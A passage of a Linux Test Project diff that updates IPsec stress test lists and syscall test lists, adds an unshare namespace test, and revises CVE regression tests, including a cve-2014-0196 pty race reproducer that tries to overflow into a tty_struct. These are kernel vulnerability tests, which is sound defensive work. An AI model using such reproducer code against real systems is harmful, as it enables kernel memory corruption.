+sctp4_ipsec26 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
+sctp4_ipsec27 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+sctp4_ipsec28 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
+sctp4_ipsec29 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+sctp4_ipsec30 sctp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
+sctp4_ipsec31 sctp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+sctp4_ipsec32 sctp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
+sctp4_ipsec33 sctp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+sctp4_ipsec34 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
+sctp4_ipsec35 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+sctp4_ipsec36 sctp_ipsec.sh -p esp -m beet -s "100 1000 65535"
+
+sctp6_ipsec01 sctp_ipsec.sh -6 -s "100 1000 65535"
+sctp6_ipsec02 sctp_ipsec.sh -6 -p ah -m transport -s "100 1000 65535"
+sctp6_ipsec03 sctp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65535"
+sctp6_ipsec04 sctp_ipsec.sh -6 -p esp -m transport -s "100 1000 65535"
+sctp6_ipsec05 sctp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65535"
+sctp6_ipsec06 sctp_ipsec.sh -6 -p comp -m transport -s "100 1000 65535"
+sctp6_ipsec07 sctp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65535"
+sctp6_ipsec08 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec09 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec10 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec11 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec12 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec13 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec14 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec15 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec16 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec17 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec18 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec19 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec20 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec21 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec22 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec23 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec24 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp6_ipsec25 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec26 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
+sctp6_ipsec27 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+sctp6_ipsec28 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
+sctp6_ipsec29 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+sctp6_ipsec30 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
+sctp6_ipsec31 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+sctp6_ipsec32 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
+sctp6_ipsec33 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+sctp6_ipsec34 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
+sctp6_ipsec35 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+sctp6_ipsec36 sctp_ipsec.sh -6 -p esp -m beet -s "100 1000 65535"
+
+sctp4_ipsec_vti01 sctp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti02 sctp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65535"
+# sctp4_ipsec_vti03 sctp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti04 sctp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti05 sctp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti06 sctp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti07 sctp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti08 sctp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti09 sctp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti10 sctp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti11 sctp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti12 sctp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti13 sctp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti14 sctp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti15 sctp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti16 sctp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti17 sctp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+
+sctp6_ipsec_vti01 sctp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti02 sctp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65535"
+# sctp6_ipsec_vti03 sctp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti04 sctp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti05 sctp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti06 sctp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti07 sctp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti08 sctp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti09 sctp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti10 sctp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti11 sctp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti12 sctp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti13 sctp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti14 sctp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti15 sctp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti16 sctp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti17 sctp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
diff --git a/runtest/net_stress.ipsec_tcp b/runtest/net_stress.ipsec_tcp
index 9b1a615..30e0f4a 100644
--- a/runtest/net_stress.ipsec_tcp
+++ b/runtest/net_stress.ipsec_tcp
@@ -74,7 +74,7 @@
 
 tcp4_ipsec_vti01 tcp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65535"
 tcp4_ipsec_vti02 tcp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti03 tcp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65535"
+# tcp4_ipsec_vti03 tcp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65535"
 tcp4_ipsec_vti04 tcp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
 tcp4_ipsec_vti05 tcp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
 tcp4_ipsec_vti06 tcp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
@@ -92,7 +92,7 @@
 
 tcp6_ipsec_vti01 tcp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65535"
 tcp6_ipsec_vti02 tcp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti03 tcp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65535"
+# tcp6_ipsec_vti03 tcp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65535"
 tcp6_ipsec_vti04 tcp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
 tcp6_ipsec_vti05 tcp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
 tcp6_ipsec_vti06 tcp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
diff --git a/runtest/net_stress.ipsec_udp b/runtest/net_stress.ipsec_udp
index 3f529ea..76c393f 100644
--- a/runtest/net_stress.ipsec_udp
+++ b/runtest/net_stress.ipsec_udp
@@ -74,7 +74,7 @@
 
 udp4_ipsec_vti01 udp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65463"
 udp4_ipsec_vti02 udp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti03 udp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65000"
+udp4_ipsec_vti03 udp_ipsec_vti.sh -p comp -m tunnel -s 1500
 udp4_ipsec_vti04 udp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65450"
 udp4_ipsec_vti05 udp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65450"
 udp4_ipsec_vti06 udp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65450"
@@ -92,7 +92,7 @@
 
 udp6_ipsec_vti01 udp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65527"
 udp6_ipsec_vti02 udp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti03 udp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65000"
+udp6_ipsec_vti03 udp_ipsec_vti.sh -6 -p comp -m tunnel -s 1500
 udp6_ipsec_vti04 udp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65527"
 udp6_ipsec_vti05 udp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65527"
 udp6_ipsec_vti06 udp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65527"
diff --git a/runtest/syscalls b/runtest/syscalls
index f2b2cbc..97fc643 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -13,6 +13,8 @@
 
 add_key01 add_key01
 add_key02 add_key02
+add_key03 add_key03
+add_key04 add_key04
 
 adjtimex01 adjtimex01
 adjtimex02 adjtimex02
@@ -160,6 +162,7 @@
 fallocate02 fallocate02
 fallocate03 fallocate03
 fallocate04 fallocate04
+fallocate05 fallocate05
 
 #posix_fadvise test cases
 posix_fadvise01                      posix_fadvise01
@@ -464,6 +467,8 @@
 ioctl05      ioctl05
 ioctl06      ioctl06
 
+ioctl07      ioctl07
+
 inotify_init1_01 inotify_init1_01
 inotify_init1_02 inotify_init1_02
 
@@ -500,6 +505,9 @@
 keyctl03 keyctl03
 keyctl04 keyctl04
 keyctl05 keyctl05
+keyctl06 keyctl06
+keyctl07 keyctl07
+keyctl08 keyctl08
 
 kcmp01 kcmp01
 kcmp02 kcmp02
@@ -839,6 +847,7 @@
 ptrace05 ptrace05
 # Broken test; See: testcases/kernel/syscalls/ptrace/Makefile for more details.
 #ptrace06 ptrace06
+ptrace07 ptrace07
 
 pwrite01 pwrite01
 pwrite02 pwrite02
@@ -924,6 +933,7 @@
 
 request_key01 request_key01
 request_key02 request_key02
+request_key03 request_key03
 cve-2017-6951 cve-2017-6951
 
 rmdir01 rmdir01
@@ -1141,6 +1151,8 @@
 setrlimit01 setrlimit01
 setrlimit02 setrlimit02
 setrlimit03 setrlimit03
+setrlimit04 setrlimit04
+setrlimit05 setrlimit05
 
 set_robust_list01 set_robust_list01
 set_thread_area01 set_thread_area01
@@ -1149,6 +1161,7 @@
 setsid01 setsid01
 
 setsockopt01 setsockopt01
+setsockopt02 setsockopt02
 cve-2016-4997 cve-2016-4997
 
 settimeofday01 settimeofday01
@@ -1214,6 +1227,7 @@
 
 sigsuspend01 sigsuspend01
 
+sigwaitinfo01 sigwaitinfo01
 
 socket01 socket01
 socket02 socket02
diff --git a/testcases/commands/mail/mail_tests.sh b/testcases/commands/mail/mail_tests.sh
index 1652aa7..7cd5531 100755
--- a/testcases/commands/mail/mail_tests.sh
+++ b/testcases/commands/mail/mail_tests.sh
@@ -169,8 +169,8 @@
 		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3, "Mailer-Daemon")}' \
 		    $LTPTMP/tst_mail.res)
 	else
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5, "MailDelivery(Subsys|System)")}' \
-		    $LTPTMP/tst_mail.res)
+		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5,
+		    "MailDelivery(Subsys|System|Syst)")}' $LTPTMP/tst_mail.res)
 	fi
 
 	##################################################################
@@ -250,8 +250,8 @@
 		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3, "Mailer-Daemon")}' \
 		    $LTPTMP/tst_mail.res)
 	else
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5, "MailDelivery(Subsys|System)")}' \
-		    $LTPTMP/tst_mail.res)
+		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5,
+		    "MailDelivery(Subsys|System|Syst)")}' $LTPTMP/tst_mail.res)
 	fi
 	##################################################################
 	# In this testcase, mail will get "Returnedmail:", while mailx will
diff --git a/testcases/commands/nm/datafiles/Makefile b/testcases/commands/nm/datafiles/Makefile
index 3514665..371490e 100644
--- a/testcases/commands/nm/datafiles/Makefile
+++ b/testcases/commands/nm/datafiles/Makefile
@@ -15,7 +15,7 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 INSTALL_DIR		:= testcases/data/nm01
-INSTALL_TARTGETS	:= f1 f2 f3 lib.a
+INSTALL_TARGETS		:= f1 f2 f3 lib.a
 MAKE_TARGETS		+= f1 f2 f3 lib.a
 
 lib.a: f1.o f2.o f3.o
diff --git a/testcases/commands/unshare/Makefile b/testcases/commands/unshare/Makefile
new file mode 100644
index 0000000..a175291
--- /dev/null
+++ b/testcases/commands/unshare/Makefile
@@ -0,0 +1,22 @@
+#
+# Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= unshare01.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/unshare/unshare01.sh b/testcases/commands/unshare/unshare01.sh
new file mode 100755
index 0000000..71b50ba
--- /dev/null
+++ b/testcases/commands/unshare/unshare01.sh
@@ -0,0 +1,171 @@
+#!/bin/sh
+#
+# Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
+# the GNU General Public License for more details.
+#
+# Test unshare command with some basic options.
+# 1) If we run unshare with "--user", UID in the newly created user namespace
+#    is set to 65534.
+# 2) If we run unshare with "--user", GID in the newly created user namespace
+#    is set to 65534.
+# 3) If we run with "--user --map-root-user", UID in the newly created user
+#    namespace is set to 0.
+# 4) If we run with "--user --map-root-user", GID in the newly created user
+#    is set to 0.
+# 5) If we run with "--mount", mount and unmount events do not propagate to
+#    its parent mount namespace.
+# 6) If we run with "--mount --propagation shared", mount and unmount events
+#    propagate to its parent mount namespace.
+# 7) If we run with "--user --map-root-user --mount", mount and unmount events
+#    do not propagate to its parent mount namespace.
+# 8) Even if we run with "--user --map-root-user --mount --propagation shared",
+#    mount and unmount events do not propagate to its parent mount namespace
+#    because the shared mount is reduced to a slave mount.
+#
+#    Please see the following URL for detailed information:
+#    http://man7.org/linux/man-pages/man7/user_namespaces.7.html
+#    http://man7.org/linux/man-pages/man7/mount_namespaces.7.html
+#
+
+TST_CNT=8
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=do_test
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="unshare id mount umount"
+. tst_test.sh
+
+max_userns_path="/proc/sys/user/max_user_namespaces"
+max_mntns_path="/proc/sys/user/max_mnt_namespaces"
+default_max_userns=-1
+default_max_mntns=-1
+
+setup()
+{
+	# On some distributions(e.g RHEL7.4), the default value of
+	# max_user_namespaces or max_mnt_namespaces is set to 0.
+	# We need to change the default value to run unshare command.
+	if [ -f "${max_userns_path}" ]; then
+		default_max_userns=$(cat "${max_userns_path}")
+		echo 1024 > "${max_userns_path}"
+	fi
+
+	if [ -f "${max_mntns_path}" ]; then
+		default_max_mntns=$(cat "${max_mntns_path}")
+		echo 1024 > "${max_mntns_path}"
+	fi
+
+	mkdir -p dir_A dir_B
+	touch dir_A/A dir_B/B
+}
+
+cleanup()
+{
+	# Restore the default value to 0.
+	[ ${default_max_userns} -ne -1 ] && \
+		echo ${default_max_userns} > "${max_userns_path}"
+	[ ${default_max_mntns} -ne -1 ] && \
+		echo ${default_max_mntns} > "${max_mntns_path}"
+}
+
+check_id()
+{
+	local act_id=$1
+	local exp_id=$2
+	local cmd=$3
+
+	if [ ${act_id} -ne ${exp_id} ]; then
+		tst_res TFAIL "$cmd got wrong uid/gid"
+	else
+		tst_res TPASS "$cmd got correct uid/gid"
+	fi
+}
+
+check_mount()
+{
+	local tst_dir=$1
+	local exp_stat=$2
+	local cmd=$3
+
+	case ${exp_stat} in
+	unmounted)
+		if ls "${tst_dir}" | grep -qw 'A'; then
+			tst_res TFAIL "$cmd got bind info"
+			umount ${tst_dir}
+			return
+		fi
+		;;
+	mounted)
+		if ! ls "${tst_dir}" | grep -qw 'A'; then
+			tst_res TFAIL "$cmd did not get bind info"
+			return
+		fi
+		umount ${tst_dir}
+		;;
+	esac
+
+	tst_res TPASS "$cmd got bind info as expected"
+}
+
+unshare_test()
+{
+	local unshare_opts=$1
+	local verify_cmd=$2
+	local exp_result=$3
+
+	local unshare_cmd="unshare ${unshare_opts} ${verify_cmd}"
+
+	eval ${unshare_cmd} > temp 2>&1
+	if [ $? -ne 0 ]; then
+		# unrecognized option or invalid option is returned if the
+		# option is not supported by unshare command(e.g. RHEL6).
+		# Invalid argument or Operation not permitted is returned
+		# if the feature is not supported by kernel(e.g. RHEL7).
+		grep -q -E "unrecognized option|invalid option|Invalid argument|Operation not permitted" temp
+		if [ $? -eq 0 ]; then
+			tst_res TCONF "${unshare_cmd} not supported."
+		else
+			tst_res TFAIL "${unshare_cmd} failed."
+		fi
+		return
+	fi
+
+	case ${verify_cmd} in
+	id*)
+		check_id "$(cat temp)" "${exp_result}" "${unshare_cmd}"
+		;;
+	mount*)
+		check_mount "dir_B" "${exp_result}" "${unshare_cmd}"
+		;;
+	esac
+}
+
+do_test()
+{
+	case $1 in
+	1) unshare_test "--user" "id -u" "65534";;
+	2) unshare_test "--user" "id -g" "65534";;
+	3) unshare_test "--user --map-root-user" "id -u" "0";;
+	4) unshare_test "--user --map-root-user" "id -g" "0";;
+	5) unshare_test "--mount" "mount --bind dir_A dir_B" "unmounted";;
+	6) unshare_test "--mount --propagation shared" \
+			"mount --bind dir_A dir_B" "mounted";;
+	7) unshare_test "--user --map-root-user --mount" \
+			"mount --bind dir_A dir_B" "unmounted";;
+	8) unshare_test "--user --map-root-user --mount --propagation shared" \
+			"mount --bind dir_A dir_B" "unmounted";;
+	esac
+}
+
+tst_run
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index f76c398..2566dbd 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -8,4 +8,5 @@
 cve-2017-2671
 cve-2017-6951
 cve-2017-5669
+meltdown
 stack_clash
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 0905fd9..a7df1e4 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -30,4 +30,10 @@
 cve-2017-2671:	CFLAGS += -pthread
 cve-2017-2671:	LDLIBS += -lrt
 
+meltdown: CFLAGS += -I$(abs_srcdir)/../realtime/include
+
+ifneq (,$(filter $(HOST_CPU),x86 x86_64))
+meltdown: CFLAGS += -msse2
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2012-0957.c b/testcases/cve/cve-2012-0957.c
index 096f49f..e4d9e8f 100644
--- a/testcases/cve/cve-2012-0957.c
+++ b/testcases/cve/cve-2012-0957.c
@@ -29,12 +29,15 @@
 #include "tst_test.h"
 #include "lapi/personality.h"
 
-static int check_field(char *bytes, size_t length, char *field)
+static struct utsname saved_buf;
+
+static int check_field(char *bytes, char *saved_bytes, size_t length,
+		       char *field)
 {
 	size_t i = strlen(bytes) + 1;
 
 	for (; i < length; i++) {
-		if (bytes[i]) {
+		if (bytes[i] && (bytes[i] != saved_bytes[i])) {
 			tst_res(TFAIL, "Bytes leaked in %s!", field);
 			return 1;
 		}
@@ -43,15 +46,21 @@
 }
 
 
-static void try_leak_bytes(void)
+static void try_leak_bytes(unsigned int test_nr)
 {
 	struct utsname buf;
 
+	memset(&buf, 0, sizeof(buf));
+
 	if (uname(&buf))
 		tst_brk(TBROK | TERRNO, "Call to uname failed");
 
+	if (!test_nr)
+		memcpy(&saved_buf, &buf, sizeof(saved_buf));
+
 #define CHECK_FIELD(field_name) \
-	(check_field(buf.field_name, ARRAY_SIZE(buf.field_name), #field_name))
+	(check_field(buf.field_name, saved_buf.field_name, \
+		     ARRAY_SIZE(buf.field_name), #field_name))
 
 	if (!(CHECK_FIELD(release) |
 	    CHECK_FIELD(sysname) |
@@ -62,7 +71,7 @@
 	    CHECK_FIELD(domainname) |
 #endif
 		    0)) {
-		tst_res(TPASS, "All fields zeroed after string terminator");
+		tst_res(TPASS, "No bytes leaked");
 	}
 #undef CHECK_FIELD
 }
@@ -71,12 +80,12 @@
 {
 	if (!test_nr) {
 		tst_res(TINFO, "Calling uname with default personality");
-		try_leak_bytes();
 	} else {
 		SAFE_PERSONALITY(PER_LINUX | UNAME26);
 		tst_res(TINFO, "Calling uname with UNAME26 personality");
-		try_leak_bytes();
 	}
+
+	try_leak_bytes(test_nr);
 }
 
 static struct tst_test test = {
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
index 4e2b3f5..d181088 100644
--- a/testcases/cve/cve-2014-0196.c
+++ b/testcases/cve/cve-2014-0196.c
@@ -51,11 +51,13 @@
 #define ATTEMPTS      0x7000
 #define BUFLEN        512
 
-static int master_fd, slave_fd;
+static volatile int master_fd, slave_fd;
 static int filler_ptys[ONEOFF_ALLOCS * 2];
 static int target_ptys[RUN_ALLOCS * 2];
 static char buf[BUFLEN];
 
+static pthread_t overwrite_thread;
+static void *overwrite_thread_fn(void *);
 static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
 
 static void create_pty(int *amaster, int *aslave)
@@ -68,35 +70,40 @@
 {
 	int i;
 
-	fzsync_pair.delay_inc = 100;
 	for (i = 0; i < ONEOFF_ALLOCS; i++) {
 		create_pty(&filler_ptys[i],
 			   &filler_ptys[i + ONEOFF_ALLOCS]);
 	}
+
+	fzsync_pair.info_gap = 0xFFF;
+	SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
+			    overwrite_thread_fn, NULL);
 }
 
-static void *overwrite_thread_fn(void *p)
+static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
 {
-	tst_fzsync_delay_b(&fzsync_pair);
-	tst_fzsync_time_b(&fzsync_pair);
+	while(tst_fzsync_wait_update_b(&fzsync_pair)) {
+		tst_fzsync_delay_b(&fzsync_pair);
+		tst_fzsync_time_b(&fzsync_pair);
 
-	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
-	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
-	SAFE_WRITE(0, slave_fd, buf, BUFLEN);
-
-	return p;
+		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+		SAFE_WRITE(0, slave_fd, buf, BUFLEN);
+		if (!tst_fzsync_wait_b(&fzsync_pair))
+			break;
+	}
+	return 0;
 }
 
 static void run(void)
 {
 	struct termios t;
-	pthread_t overwrite_thread;
 	int i, j;
 
 	tst_res(TINFO, "Attempting to overflow into a tty_struct...");
 
 	for (i = 0; i < ATTEMPTS; i++) {
-		create_pty(&master_fd, &slave_fd);
+		create_pty((int *)&master_fd, (int *)&slave_fd);
 
 		for (j = 0; j < RUN_ALLOCS; j++)
 			create_pty(&target_ptys[j],
@@ -111,19 +118,13 @@
 		t.c_lflag |= ECHO;
 		tcsetattr(master_fd, TCSANOW, &t);
 
-		SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
-				    overwrite_thread_fn, NULL);
+		tst_fzsync_wait_update_a(&fzsync_pair);
 
 		tst_fzsync_delay_a(&fzsync_pair);
 		tst_fzsync_time_a(&fzsync_pair);
 		SAFE_WRITE(0, master_fd, "A", 1);
 
-		SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
-
-		tst_fzsync_pair_update(i, &fzsync_pair);
-
-		if (!(i & 0x1FFF))
-			tst_fzsync_pair_info(&fzsync_pair);
+		tst_fzsync_wait_a(&fzsync_pair);
 
 		for (j = 0; j < RUN_ALLOCS; j++) {
 			if (j == RUN_ALLOCS / 2)
@@ -148,6 +149,11 @@
 {
 	int i;
 
+	if (overwrite_thread) {
+		tst_fzsync_pair_exit(&fzsync_pair);
+		SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
+	}
+
 	for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
 		close(filler_ptys[i]);
 	close(master_fd);
diff --git a/testcases/cve/cve-2016-10044.c b/testcases/cve/cve-2016-10044.c
index 7928d27..14fa0a4 100644
--- a/testcases/cve/cve-2016-10044.c
+++ b/testcases/cve/cve-2016-10044.c
@@ -50,10 +50,10 @@
 
